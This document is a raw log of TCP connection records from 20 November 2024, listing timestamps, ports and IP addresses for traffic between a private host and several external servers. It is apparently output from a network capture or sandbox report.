Nov 20, 2024 14:43:00.784250021 CET	443	49706	20.190.177.22	192.168.2.6
Nov 20, 2024 14:43:00.784267902 CET	443	49706	20.190.177.22	192.168.2.6
Nov 20, 2024 14:43:00.784334898 CET	49706	443	192.168.2.6	20.190.177.22
Nov 20, 2024 14:43:00.791099072 CET	443	49706	20.190.177.22	192.168.2.6
Nov 20, 2024 14:43:00.794359922 CET	443	49706	20.190.177.22	192.168.2.6
Nov 20, 2024 14:43:00.794434071 CET	49706	443	192.168.2.6	20.190.177.22
Nov 20, 2024 14:43:00.794850111 CET	443	49706	20.190.177.22	192.168.2.6
Nov 20, 2024 14:43:00.802385092 CET	443	49706	20.190.177.22	192.168.2.6
Nov 20, 2024 14:43:00.802464962 CET	49706	443	192.168.2.6	20.190.177.22
Nov 20, 2024 14:43:00.802534103 CET	443	49706	20.190.177.22	192.168.2.6
Nov 20, 2024 14:43:00.810802937 CET	443	49706	20.190.177.22	192.168.2.6
Nov 20, 2024 14:43:00.810894966 CET	49706	443	192.168.2.6	20.190.177.22
Nov 20, 2024 14:43:00.861907005 CET	443	49707	20.198.119.84	192.168.2.6
Nov 20, 2024 14:43:00.917457104 CET	49707	443	192.168.2.6	20.198.119.84
Nov 20, 2024 14:43:01.073570967 CET	443	49707	20.198.119.84	192.168.2.6
Nov 20, 2024 14:43:01.079787970 CET	49707	443	192.168.2.6	20.198.119.84
Nov 20, 2024 14:43:01.199435949 CET	443	49707	20.198.119.84	192.168.2.6
Nov 20, 2024 14:43:01.292489052 CET	49673	443	192.168.2.6	173.222.162.64
Nov 20, 2024 14:43:01.292489052 CET	49674	443	192.168.2.6	173.222.162.64
Nov 20, 2024 14:43:01.589376926 CET	49672	443	192.168.2.6	173.222.162.64
Nov 20, 2024 14:43:01.634439945 CET	443	49707	20.198.119.84	192.168.2.6
Nov 20, 2024 14:43:01.683051109 CET	49707	443	192.168.2.6	20.198.119.84
Nov 20, 2024 14:43:02.038369894 CET	443	49708	20.190.177.22	192.168.2.6
Nov 20, 2024 14:43:02.038535118 CET	49708	443	192.168.2.6	20.190.177.22
Nov 20, 2024 14:43:02.053411961 CET	49708	443	192.168.2.6	20.190.177.22
Nov 20, 2024 14:43:02.053443909 CET	443	49708	20.190.177.22	192.168.2.6
Nov 20, 2024 14:43:02.053905964 CET	443	49708	20.190.177.22	192.168.2.6
Nov 20, 2024 14:43:02.054299116 CET	49708	443	192.168.2.6	20.190.177.22
Nov 20, 2024 14:43:02.054382086 CET	49708	443	192.168.2.6	20.190.177.22
Nov 20, 2024 14:43:02.054455996 CET	443	49708	20.190.177.22	192.168.2.6
Nov 20, 2024 14:43:02.175060987 CET	49709	443	192.168.2.6	20.223.35.26
Nov 20, 2024 14:43:02.175112009 CET	443	49709	20.223.35.26	192.168.2.6
Nov 20, 2024 14:43:02.175158978 CET	49710	443	192.168.2.6	20.223.35.26
Nov 20, 2024 14:43:02.175189972 CET	49709	443	192.168.2.6	20.223.35.26
Nov 20, 2024 14:43:02.175204039 CET	443	49710	20.223.35.26	192.168.2.6
Nov 20, 2024 14:43:02.175282955 CET	49710	443	192.168.2.6	20.223.35.26
Nov 20, 2024 14:43:02.176834106 CET	49709	443	192.168.2.6	20.223.35.26
Nov 20, 2024 14:43:02.176851034 CET	443	49709	20.223.35.26	192.168.2.6
Nov 20, 2024 14:43:02.176937103 CET	49710	443	192.168.2.6	20.223.35.26
Nov 20, 2024 14:43:02.176949978 CET	443	49710	20.223.35.26	192.168.2.6
Nov 20, 2024 14:43:02.238589048 CET	49712	443	192.168.2.6	20.198.118.190
Nov 20, 2024 14:43:02.238620043 CET	443	49712	20.198.118.190	192.168.2.6
Nov 20, 2024 14:43:02.238739967 CET	49712	443	192.168.2.6	20.198.118.190
Nov 20, 2024 14:43:02.239363909 CET	49712	443	192.168.2.6	20.198.118.190
Nov 20, 2024 14:43:02.239377975 CET	443	49712	20.198.118.190	192.168.2.6
Nov 20, 2024 14:43:02.833117962 CET	443	49708	20.190.177.22	192.168.2.6
Nov 20, 2024 14:43:02.833151102 CET	443	49708	20.190.177.22	192.168.2.6
Nov 20, 2024 14:43:02.833198071 CET	443	49708	20.190.177.22	192.168.2.6
Nov 20, 2024 14:43:02.833219051 CET	49708	443	192.168.2.6	20.190.177.22
Nov 20, 2024 14:43:02.833237886 CET	443	49708	20.190.177.22	192.168.2.6
Nov 20, 2024 14:43:02.833265066 CET	49708	443	192.168.2.6	20.190.177.22
Nov 20, 2024 14:43:02.833268881 CET	443	49708	20.190.177.22	192.168.2.6
Nov 20, 2024 14:43:02.833316088 CET	49708	443	192.168.2.6	20.190.177.22
Nov 20, 2024 14:43:02.851818085 CET	49708	443	192.168.2.6	20.190.177.22
Nov 20, 2024 14:43:02.851855040 CET	443	49708	20.190.177.22	192.168.2.6
Nov 20, 2024 14:43:02.851871014 CET	49708	443	192.168.2.6	20.190.177.22
Nov 20, 2024 14:43:02.851877928 CET	443	49708	20.190.177.22	192.168.2.6
Nov 20, 2024 14:43:03.983541965 CET	443	49710	20.223.35.26	192.168.2.6
Nov 20, 2024 14:43:03.983710051 CET	49710	443	192.168.2.6	20.223.35.26
Nov 20, 2024 14:43:03.983891010 CET	443	49709	20.223.35.26	192.168.2.6
Nov 20, 2024 14:43:03.983983040 CET	49709	443	192.168.2.6	20.223.35.26
Nov 20, 2024 14:43:04.021316051 CET	49709	443	192.168.2.6	20.223.35.26
Nov 20, 2024 14:43:04.021339893 CET	443	49709	20.223.35.26	192.168.2.6
Nov 20, 2024 14:43:04.021425009 CET	49710	443	192.168.2.6	20.223.35.26
Nov 20, 2024 14:43:04.021446943 CET	443	49710	20.223.35.26	192.168.2.6
Nov 20, 2024 14:43:04.021749973 CET	443	49709	20.223.35.26	192.168.2.6
Nov 20, 2024 14:43:04.021828890 CET	49709	443	192.168.2.6	20.223.35.26
Nov 20, 2024 14:43:04.021923065 CET	443	49710	20.223.35.26	192.168.2.6
Nov 20, 2024 14:43:04.022017956 CET	49710	443	192.168.2.6	20.223.35.26
Nov 20, 2024 14:43:04.023222923 CET	49709	443	192.168.2.6	20.223.35.26
Nov 20, 2024 14:43:04.023262978 CET	443	49709	20.223.35.26	192.168.2.6
Nov 20, 2024 14:43:04.023343086 CET	49710	443	192.168.2.6	20.223.35.26
Nov 20, 2024 14:43:04.023540974 CET	443	49710	20.223.35.26	192.168.2.6
Nov 20, 2024 14:43:04.457374096 CET	443	49712	20.198.118.190	192.168.2.6
Nov 20, 2024 14:43:04.457504988 CET	49712	443	192.168.2.6	20.198.118.190
Nov 20, 2024 14:43:04.460437059 CET	49712	443	192.168.2.6	20.198.118.190
Nov 20, 2024 14:43:04.460447073 CET	443	49712	20.198.118.190	192.168.2.6
Nov 20, 2024 14:43:04.460712910 CET	443	49712	20.198.118.190	192.168.2.6
Nov 20, 2024 14:43:04.468620062 CET	49712	443	192.168.2.6	20.198.118.190
Nov 20, 2024 14:43:04.468655109 CET	49712	443	192.168.2.6	20.198.118.190
Nov 20, 2024 14:43:04.468662024 CET	443	49712	20.198.118.190	192.168.2.6
Nov 20, 2024 14:43:04.470470905 CET	49712	443	192.168.2.6	20.198.118.190
Nov 20, 2024 14:43:04.511334896 CET	443	49712	20.198.118.190	192.168.2.6
Nov 20, 2024 14:43:04.543193102 CET	443	49710	20.223.35.26	192.168.2.6
Nov 20, 2024 14:43:04.543229103 CET	443	49710	20.223.35.26	192.168.2.6
Nov 20, 2024 14:43:04.543379068 CET	49710	443	192.168.2.6	20.223.35.26
Nov 20, 2024 14:43:04.543407917 CET	443	49710	20.223.35.26	192.168.2.6
Nov 20, 2024 14:43:04.543458939 CET	49710	443	192.168.2.6	20.223.35.26
Nov 20, 2024 14:43:04.549669027 CET	443	49710	20.223.35.26	192.168.2.6
Nov 20, 2024 14:43:04.549736023 CET	443	49710	20.223.35.26	192.168.2.6
Nov 20, 2024 14:43:04.549803972 CET	49710	443	192.168.2.6	20.223.35.26
Nov 20, 2024 14:43:04.591682911 CET	49710	443	192.168.2.6	20.223.35.26
Nov 20, 2024 14:43:04.591706991 CET	443	49710	20.223.35.26	192.168.2.6
Nov 20, 2024 14:43:04.652848005 CET	443	49709	20.223.35.26	192.168.2.6
Nov 20, 2024 14:43:04.652899981 CET	443	49709	20.223.35.26	192.168.2.6
Nov 20, 2024 14:43:04.652941942 CET	49709	443	192.168.2.6	20.223.35.26
Nov 20, 2024 14:43:04.652975082 CET	443	49709	20.223.35.26	192.168.2.6
Nov 20, 2024 14:43:04.652987957 CET	49709	443	192.168.2.6	20.223.35.26
Nov 20, 2024 14:43:04.652991056 CET	443	49709	20.223.35.26	192.168.2.6
Nov 20, 2024 14:43:04.653021097 CET	49709	443	192.168.2.6	20.223.35.26
Nov 20, 2024 14:43:04.653037071 CET	49709	443	192.168.2.6	20.223.35.26
Nov 20, 2024 14:43:04.657227993 CET	49709	443	192.168.2.6	20.223.35.26
Nov 20, 2024 14:43:04.657246113 CET	443	49709	20.223.35.26	192.168.2.6
Nov 20, 2024 14:43:05.135816097 CET	443	49712	20.198.118.190	192.168.2.6
Nov 20, 2024 14:43:05.135900021 CET	443	49712	20.198.118.190	192.168.2.6
Nov 20, 2024 14:43:05.136019945 CET	49712	443	192.168.2.6	20.198.118.190
Nov 20, 2024 14:43:05.136202097 CET	49712	443	192.168.2.6	20.198.118.190
Nov 20, 2024 14:43:05.136228085 CET	443	49712	20.198.118.190	192.168.2.6
Nov 20, 2024 14:43:05.652704954 CET	49714	443	192.168.2.6	20.198.119.84
Nov 20, 2024 14:43:05.652760029 CET	443	49714	20.198.119.84	192.168.2.6
Nov 20, 2024 14:43:05.652821064 CET	49714	443	192.168.2.6	20.198.119.84
Nov 20, 2024 14:43:05.653733015 CET	49714	443	192.168.2.6	20.198.119.84
Nov 20, 2024 14:43:05.653749943 CET	443	49714	20.198.119.84	192.168.2.6
Nov 20, 2024 14:43:07.934500933 CET	443	49714	20.198.119.84	192.168.2.6
Nov 20, 2024 14:43:07.934593916 CET	49714	443	192.168.2.6	20.198.119.84
Nov 20, 2024 14:43:07.942781925 CET	49714	443	192.168.2.6	20.198.119.84
Nov 20, 2024 14:43:07.942800045 CET	443	49714	20.198.119.84	192.168.2.6
Nov 20, 2024 14:43:07.943608046 CET	443	49714	20.198.119.84	192.168.2.6
Nov 20, 2024 14:43:07.946872950 CET	49714	443	192.168.2.6	20.198.119.84
Nov 20, 2024 14:43:07.946964025 CET	49714	443	192.168.2.6	20.198.119.84
Nov 20, 2024 14:43:07.946969032 CET	443	49714	20.198.119.84	192.168.2.6
Nov 20, 2024 14:43:07.947122097 CET	49714	443	192.168.2.6	20.198.119.84
Nov 20, 2024 14:43:07.987341881 CET	443	49714	20.198.119.84	192.168.2.6
Nov 20, 2024 14:43:08.621473074 CET	443	49714	20.198.119.84	192.168.2.6
Nov 20, 2024 14:43:08.621607065 CET	443	49714	20.198.119.84	192.168.2.6
Nov 20, 2024 14:43:08.621725082 CET	49714	443	192.168.2.6	20.198.119.84
Nov 20, 2024 14:43:08.622090101 CET	49714	443	192.168.2.6	20.198.119.84
Nov 20, 2024 14:43:08.622112989 CET	443	49714	20.198.119.84	192.168.2.6
Nov 20, 2024 14:43:08.954665899 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:09.074362993 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:09.074543953 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:09.075205088 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:09.196445942 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:10.524213076 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:10.524440050 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:10.576097965 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:10.699229002 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:10.901834011 CET	49674	443	192.168.2.6	173.222.162.64
Nov 20, 2024 14:43:10.901839972 CET	49673	443	192.168.2.6	173.222.162.64
Nov 20, 2024 14:43:11.056404114 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:11.056508064 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:11.057538033 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:11.176999092 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:11.198678017 CET	49672	443	192.168.2.6	173.222.162.64
Nov 20, 2024 14:43:11.527489901 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:11.527559996 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:11.527622938 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:11.527668953 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:11.529275894 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:11.648847103 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:12.001676083 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:12.001693964 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:12.001708984 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:12.001759052 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:12.001843929 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:12.001878977 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:12.001892090 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:12.001905918 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:12.001945019 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:12.001945019 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:12.003547907 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:12.121957064 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:12.122001886 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:12.122205019 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:12.122529984 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:12.122545004 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:12.123100042 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:12.473165989 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:12.475600004 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:12.499090910 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:12.499145985 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:12.618849993 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:12.618887901 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:12.618922949 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:12.619065046 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:12.619093895 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:12.619287968 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:13.625900030 CET	443	49703	173.222.162.64	192.168.2.6
Nov 20, 2024 14:43:13.626007080 CET	49703	443	192.168.2.6	173.222.162.64
Nov 20, 2024 14:43:13.664114952 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:13.664220095 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:13.979162931 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:13.979254961 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:13.995138884 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:13.995156050 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:13.995419979 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:14.019634008 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:14.041773081 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.067329884 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:14.166311979 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.473853111 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:14.473875999 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:14.473958015 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:14.473972082 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:14.474006891 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:14.474029064 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:14.474133015 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:14.512254000 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.512309074 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.512360096 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.512408972 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.514600992 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.514662981 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.514681101 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.514754057 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.525168896 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.525259972 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.525445938 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.525567055 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.533607006 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.533683062 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.533746958 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.541913033 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.542074919 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.542226076 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.550378084 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.550452948 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.550522089 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.550578117 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.649323940 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.649391890 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.649461031 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.649523973 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.653464079 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.653541088 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.653826952 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.653903008 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.661853075 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.661906958 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.661981106 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.662049055 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.667665005 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:14.667690039 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:14.667826891 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:14.667826891 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:14.667853117 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:14.667908907 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:14.670298100 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.670365095 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.670411110 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.670448065 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.679176092 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.679251909 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.679253101 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.679310083 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.722650051 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.722771883 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.722851992 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.726890087 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.727016926 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.728405952 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.728485107 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.728568077 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.728619099 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.736778975 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.736949921 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.737533092 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.745186090 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.745225906 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.745280027 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.745318890 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.753606081 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.753633022 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.753699064 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.753750086 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.755634069 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:14.755651951 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:14.755728006 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:14.755749941 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:14.755812883 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:14.766207933 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.766279936 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.766289949 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.766338110 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.772881031 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.772977114 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.803664923 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.803759098 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.803766966 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.803843975 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.811743021 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.811759949 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.811810970 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.818424940 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.818578005 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.818640947 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.826644897 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.826661110 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.826705933 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.826745033 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.834709883 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.834876060 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.862514973 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.862605095 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.862792969 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.862853050 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.866430044 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:14.866451025 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:14.866512060 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:14.866520882 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.866533041 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:14.866537094 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.866600990 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.866601944 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:14.866601944 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:14.874345064 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.874429941 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.874486923 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.874634027 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.882157087 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.882312059 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.882419109 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.889758110 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.889914989 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.889925957 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.889977932 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.897114992 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.897192001 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.897273064 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.897392035 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.898669958 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:14.898736000 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:14.898792982 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:14.898792982 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:14.898818016 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:14.898952961 CET	49716	443	192.168.2.6	13.107.246.63
Nov 20, 2024 14:43:14.903911114 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.904010057 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.904059887 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.904120922 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.910582066 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.910643101 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.910723925 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.910770893 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.917084932 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.917162895 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.917227983 CET	80	49715	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:14.917288065 CET	49715	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:14.918205976 CET	443	49716	13.107.246.63	192.168.2.6
Nov 20, 2024 14:43:14.918252945 CET	443	49716	13.107.246.63	192.168.2.6
